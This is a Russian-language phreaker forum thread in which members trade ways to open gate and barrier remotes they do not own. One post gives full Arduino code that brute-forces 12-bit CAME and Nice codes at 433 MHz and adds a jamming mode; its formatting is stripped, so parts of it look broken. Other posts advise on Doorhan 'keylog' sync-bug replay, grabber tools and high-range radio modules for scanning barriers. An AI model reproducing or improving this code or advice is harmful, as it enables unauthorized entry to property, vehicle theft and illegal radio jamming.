Фрикер Клуб
 

Вернуться   Фрикер Клуб > Основной раздел > Статьи

Важная информация

Ответ
 
Опции темы Опции просмотра
Старый 17.02.2016, 09:20   #251
general42
Вступил в клуб
 
Регистрация: 18.01.2015
Сообщений: 44
По умолчанию Re: Android + Кодграббер

Извиняюсь за свой тупизм ))) подскажите по порядку какой программой скомпилировать прошивку в hex и чем прошить Arduino Nano ATmega328p
general42 вне форума   Ответить с цитированием
Старый 23.02.2016, 00:16   #252
olriol
Гость клуба
 
Регистрация: 16.05.2012
Сообщений: 3
По умолчанию Re: Android + Кодграббер

Всем привет. Поставили во дворе nice уже как год машину поставить не могу. Вот снял осциллограмму пакета.
Это динамика. Можно ли это открыть? Или оставить надежды?
Изображения
Тип файла: jpg 2.jpg (223.5 Кб, 163 просмотров)
Тип файла: jpg 3.jpg (142.7 Кб, 116 просмотров)
olriol вне форума   Ответить с цитированием
Старый 23.02.2016, 02:56   #253
russo_turisto
Резидент клуба
 
Аватар для russo_turisto
 
Регистрация: 21.08.2011
Сообщений: 1,158
По умолчанию Re: Android + Кодграббер

Похоже на дорхан,
сколько бит в посылке?
проверь на баг синхры, пакет кейлог формат
russo_turisto вне форума   Ответить с цитированием
Старый 23.02.2016, 12:34   #254
olriol
Гость клуба
 
Регистрация: 16.05.2012
Сообщений: 3
По умолчанию Re: Android + Кодграббер

66 бит посылка длинна посылки 73мс. перед этим 3,8мс пауза и до паузы 8,8мс преамбула 12бит

Последний раз редактировалось olriol; 23.02.2016 в 12:38.
olriol вне форума   Ответить с цитированием
Старый 23.02.2016, 14:31   #255
russo_turisto
Резидент клуба
 
Аватар для russo_turisto
 
Регистрация: 21.08.2011
Сообщений: 1,158
По умолчанию Re: Android + Кодграббер

Цитата:
Сообщение от olriol
66 бит посылка длинна посылки 73мс. перед этим 3,8мс пауза и до паузы 8,8мс преамбула 12бит

http://phreakerclub.com/forum/showthread.php?t=1094

http://phreakerclub.com/forum/showth...85%D1%80%D1%8B

Надо делать прием и выброс кейлога, на форуме море информации, под любой контролер.
russo_turisto вне форума   Ответить с цитированием
Старый 24.02.2016, 15:36   #256
olriol
Гость клуба
 
Регистрация: 16.05.2012
Сообщений: 3
По умолчанию Re: Android + Кодграббер

Может подскажете где для usb граббера найти выброс кейлога. Хочу попробовать ведется ли.
olriol вне форума   Ответить с цитированием
Старый 24.02.2016, 18:03   #257
russo_turisto
Резидент клуба
 
Аватар для russo_turisto
 
Регистрация: 21.08.2011
Сообщений: 1,158
По умолчанию Re: Android + Кодграббер

Цитата:
Сообщение от olriol
Может подскажете где для usb граббера найти выброс кейлога. Хочу попробовать ведется ли.

у USB граба Тахиона есть выброс кейлога, читаем внимательно.
russo_turisto вне форума   Ответить с цитированием
Старый 20.03.2016, 08:52   #258
general42
Вступил в клуб
 
Регистрация: 18.01.2015
Сообщений: 44
По умолчанию Re: Android + Кодграббер

ПОЧЕМУ ПРИ КОМПИЛЯЦИИ ОШИБКА ???
general42 вне форума   Ответить с цитированием
Старый 15.04.2016, 21:18   #259
SDin
Гость клуба
 
Регистрация: 08.04.2016
Сообщений: 2
По умолчанию Re: Android + Кодграббер

Оригинальный код для Ардуино от ONeiLL, пофиксенный:


PHP код:
    #define txPin 8
    #define rxd 4
    #define BT 3
    #define LED 12

    
unsigned int came_sost 0;
    
unsigned int nice_sost 0;
    
unsigned int glush_sost 0;
    
int var=0,i,ii=0,x,y;;
    
char incomingByte// входящие данные

    
void SendBit(byte b){
    if (
came_sost == 1) {
    
640;
    
320;
    } else {
    
1400;
    
700;
    }
    if (
glush_sost == 1){
    
5;
    
5;
    }
    if (
b) {
    
digitalWrite(txPinLOW); // 1
    
delayMicroseconds(x);
    
digitalWrite(txPinHIGH);
    
delayMicroseconds(y);
    }
    else {
    
digitalWrite(txPinLOW); // 0
    
delayMicroseconds(y);
    
digitalWrite(txPinHIGH);
    
delayMicroseconds(x);
    }

    }

    
void Send_preambula(int preambula){
    
digitalWrite(txPinHIGH);
    
delayMicroseconds(preambula);
    
digitalWrite(txPinLOW);
    }

    
void SendPerebor(long Code,unsigned int preambula,unsigned int pilot){
    for (
int i=0i<4i++){ // посылку посылаем 4 раза подряд.
    
Send_preambula(preambula); // время стартового импульса
    
for (int i=12i>;i--){
    
SendBit(bitRead(Code,i-1)); // побитово перебираем и посылаем код
    
}
    
digitalWrite(txPinLOW);
    
delayMicroseconds(pilot);
    }
    }

    
void nicebrute(){
    while(
1){
    
SendPerebor(var, 70025200);
    var=var+
1;
    if (var%
204 == 0){
    
ii ii 5;
    
Serial.println(ii);
    
Serial.println(ii);
    }
    
digitalWrite(LEDHIGH);
    
delay(10);
    
digitalWrite(LEDLOW);
    if (var > 
4096){
    var=
0;
    break;
    }
    }
    }

    
void camebrute(){
    while(
1){
    
SendPerebor(var, 32011520);
    var=var+
1;
    if (var%
204 == 0){ //не удалять
    
ii ii 5;
    
Serial.println(ii);
    
Serial.println(ii);
    }
    
digitalWrite(LEDHIGH);
    
delay(10);
    
digitalWrite(LEDLOW);
    if (var > 
4096){
    var=
0;
    break;
    }
    }
    }

    
void initPins(void){
    
pinMode(rxd,INPUT);
    }

    
void printhex(byte val){
    if(
val<=0x0F)Serial.print('0');
    
Serial.print(val,HEX);
    }

    
void setup() {
    
initPins(); // Настроить входы-выходы
    // Настроить трансивер на 433.920 модуляция AM
    
Serial.begin(9600); // инициализация порта
    
pinMode(txPinOUTPUT);
    
pinMode(LEDOUTPUT);
    
pinMode(BTOUTPUT);
    
randomSeed(analogRead(0));
    }

    
void glush(){
    }

    
void loop() {
    
digitalWrite(BTHIGH);
    if (
Serial.available() > 0) { //если пришли данные
    
incomingByte Serial.read(); // считываем байт
    
if (incomingByte == 'C') {
    
came_sost 1;
    
camebrute();
    
ii 0;
    var=
0;
    
delay(3000);
    
digitalWrite(LEDHIGH);
    
delay(1000);
    
digitalWrite(LEDLOW);
    
Serial.println('C'); // и выводим обратно сообщение
    
}

    if(
incomingByte == 'Z'){//ответ синхронизацю и передача состояния
    
Serial.println('Z');
    
Serial.println('Z');
    
digitalWrite(LEDHIGH);
    
delay(1000);
    
digitalWrite(LEDLOW);
    if (
came_sost == 1) {
    
came_sost 0;
    
Serial.println('C');
    
Serial.println('C');
    }
    if (
nice_sost == 1) {
    
nice_sost 0;
    
Serial.println('N');
    
Serial.println('N');
    }
    }

    if (
incomingByte == 'N'){ //nice
    
nice_sost 1;
    
nicebrute();
    
ii 0;
    var=
0;
    
delay(3000);
    
digitalWrite(LEDHIGH);
    
delay(1000);
    
digitalWrite(LEDLOW);
    
Serial.println('N'); // и выводим обратно сообщение
    
}

    if(
incomingByte == 'G') {//глушилка
    
digitalWrite(LEDHIGH);
    
glush_sost 1;
    while (
glush_sost){
    if (
Serial.available() > 0) {
    
incomingByte Serial.read();
    if(
incomingByte == 'H') {
    
glush_sost 0;
    }
    }
    
SendPerebor(var, 1010);
    var=var+
1;
    
digitalWrite(LEDHIGH);
    
delay(10);
    
digitalWrite(LEDLOW);
    if (var > 
10){
    var=
0;
    }
    }
    }

    if(
incomingByte == 'H') {
    
digitalWrite(LEDLOW);
    
glush_sost == 0;
    
Serial.println('Z');
    
delay(5);
    
Serial.println('Z');
    }
    }
    } 
Добавлено через 6 минут
Мужики, не подскажите, какой из приёмников/передатчиков лучше для этого девайса?


http://ru.aliexpress.com/item/1pair-...ilNewVersion=2

http://ru.aliexpress.com/item/433M-s...e-2a7f6574e9f7

Или есть смысл поискать что по-лучше?
SDin вне форума   Ответить с цитированием
Старый 25.04.2016, 13:27   #260
stallion_x
Banned
 
Регистрация: 17.03.2016
Сообщений: 289
По умолчанию Re: Android + Кодграббер

1 кал . 2 суперкал .
я реально заморочился протестировав все существующие в наличии приёмники и передатчики . и могу сказать следующее -
когда сканишь очень часто не подъехать к шлагу - всё забито . надо метров 15 20 а то и 30 .
к сожалению на это способны только ДОРОГИЕ модули вместе с антенной ! обязательно делать , можно из куска телевизионного кабеля . если жаба душит . покупаешь для девайса разъём F вкручиваюзийся в корпус и лепишь антенну обычным F коннектором .
так вот . из нормальных это конечно CC1101 и модули от TELECONTROLLI (купить их дешево тяжело) + есть неплохой приёмник и передатчик от мастеркит , цена жирновата . передатчик лепит метров на 25 без антенны что очень неплохо http://masterkit.ru/shop/smarthome/d...ol-433/1923380 ну или хотя бы такие с али http://ru.aliexpress.com/item/2014-n...801022892.html

да - ненадо покупать никаких брелков на али от сиг и патронить их . клоны брелков содержат посредственные трансмиттеры . которые надо улучшать . что впадлу !

Добавлено через 8 минут
из того что реально можно добавить именно на ардуине (так как к сожалению ардуина тормозное глюкавое Г.) .
можно добавить динамику nice - floor s . very vr . smilo . - нужны таблицы серийников и счётчиков для расшифровки кода и увеличения счётчика - формирования посылки открытия .
старый добрый дурханчик - тут надо лепить из кода олега глушак хедером чтобы потом принимать посылки для бага синхры . это сделать более быстро - проверим как работает как только будет время .
в остальном - сделать мультидевайс как супер открывашку именно на ардуине идея утопия . что печально . как то так .

Последний раз редактировалось stallion_x; 25.04.2016 в 13:31.
stallion_x вне форума   Ответить с цитированием
Ответ
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



Текущее время: 16:30. Часовой пояс GMT +3.


vBulletin 4.1.0 Перевод: zCarot
(C) www.phreakerclub.com